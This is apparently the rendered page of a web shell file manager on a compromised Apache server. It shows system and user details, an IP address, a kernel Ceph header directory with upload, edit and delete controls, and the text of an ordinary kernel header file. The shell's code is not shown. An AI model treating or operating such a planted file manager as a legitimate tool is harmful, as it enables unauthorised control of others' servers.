[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.63.1.el8_10.x86_64
/
include
/
linux
/
ceph
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 auth.h
6,750 B
SET
[ EDIT ]
|
[ DEL ]
📄 buffer.h
833 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_debug.h
907 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_features.h
8,887 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_frag.h
2,015 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_fs.h
28,384 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_hash.h
472 B
SET
[ EDIT ]
|
[ DEL ]
📄 cls_lock_client.h
1,759 B
SET
[ EDIT ]
|
[ DEL ]
📄 debugfs.h
362 B
SET
[ EDIT ]
|
[ DEL ]
📄 decode.h
10,172 B
SET
[ EDIT ]
|
[ DEL ]
📄 libceph.h
10,432 B
SET
[ EDIT ]
|
[ DEL ]
📄 mdsmap.h
1,900 B
SET
[ EDIT ]
|
[ DEL ]
📄 messenger.h
18,489 B
SET
[ EDIT ]
|
[ DEL ]
📄 mon_client.h
3,915 B
SET
[ EDIT ]
|
[ DEL ]
📄 msgpool.h
811 B
SET
[ EDIT ]
|
[ DEL ]
📄 msgr.h
7,333 B
SET
[ EDIT ]
|
[ DEL ]
📄 osd_client.h
15,950 B
SET
[ EDIT ]
|
[ DEL ]
📄 osdmap.h
9,274 B
SET
[ EDIT ]
|
[ DEL ]
📄 pagelist.h
1,971 B
SET
[ EDIT ]
|
[ DEL ]
📄 rados.h
19,214 B
SET
[ EDIT ]
|
[ DEL ]
📄 string_table.h
1,327 B
SET
[ EDIT ]
|
[ DEL ]
📄 striper.h
1,781 B
SET
[ EDIT ]
|
[ DEL ]
📄 types.h
558 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: cls_lock_client.h
/* SPDX-License-Identifier: GPL-2.0 */ #ifndef _LINUX_CEPH_CLS_LOCK_CLIENT_H #define _LINUX_CEPH_CLS_LOCK_CLIENT_H #include <linux/ceph/osd_client.h> enum ceph_cls_lock_type { CEPH_CLS_LOCK_NONE = 0, CEPH_CLS_LOCK_EXCLUSIVE = 1, CEPH_CLS_LOCK_SHARED = 2, }; struct ceph_locker_id { struct ceph_entity_name name; /* locker's client name */ char *cookie; /* locker's cookie */ }; struct ceph_locker_info { struct ceph_entity_addr addr; /* locker's address */ }; struct ceph_locker { struct ceph_locker_id id; struct ceph_locker_info info; }; int ceph_cls_lock(struct ceph_osd_client *osdc, struct ceph_object_id *oid, struct ceph_object_locator *oloc, char *lock_name, u8 type, char *cookie, char *tag, char *desc, u8 flags); int ceph_cls_unlock(struct ceph_osd_client *osdc, struct ceph_object_id *oid, struct ceph_object_locator *oloc, char *lock_name, char *cookie); int ceph_cls_break_lock(struct ceph_osd_client *osdc, struct ceph_object_id *oid, struct ceph_object_locator *oloc, char *lock_name, char *cookie, struct ceph_entity_name *locker); int ceph_cls_set_cookie(struct ceph_osd_client *osdc, struct ceph_object_id *oid, struct ceph_object_locator *oloc, char *lock_name, u8 type, char *old_cookie, char *tag, char *new_cookie); void ceph_free_lockers(struct ceph_locker *lockers, u32 num_lockers); int ceph_cls_lock_info(struct ceph_osd_client *osdc, struct ceph_object_id *oid, struct ceph_object_locator *oloc, char *lock_name, u8 *type, char **tag, struct ceph_locker **lockers, u32 *num_lockers); int ceph_cls_assert_locked(struct ceph_osd_request *req, int which, char *lock_name, u8 type, char *cookie, char *tag); #endif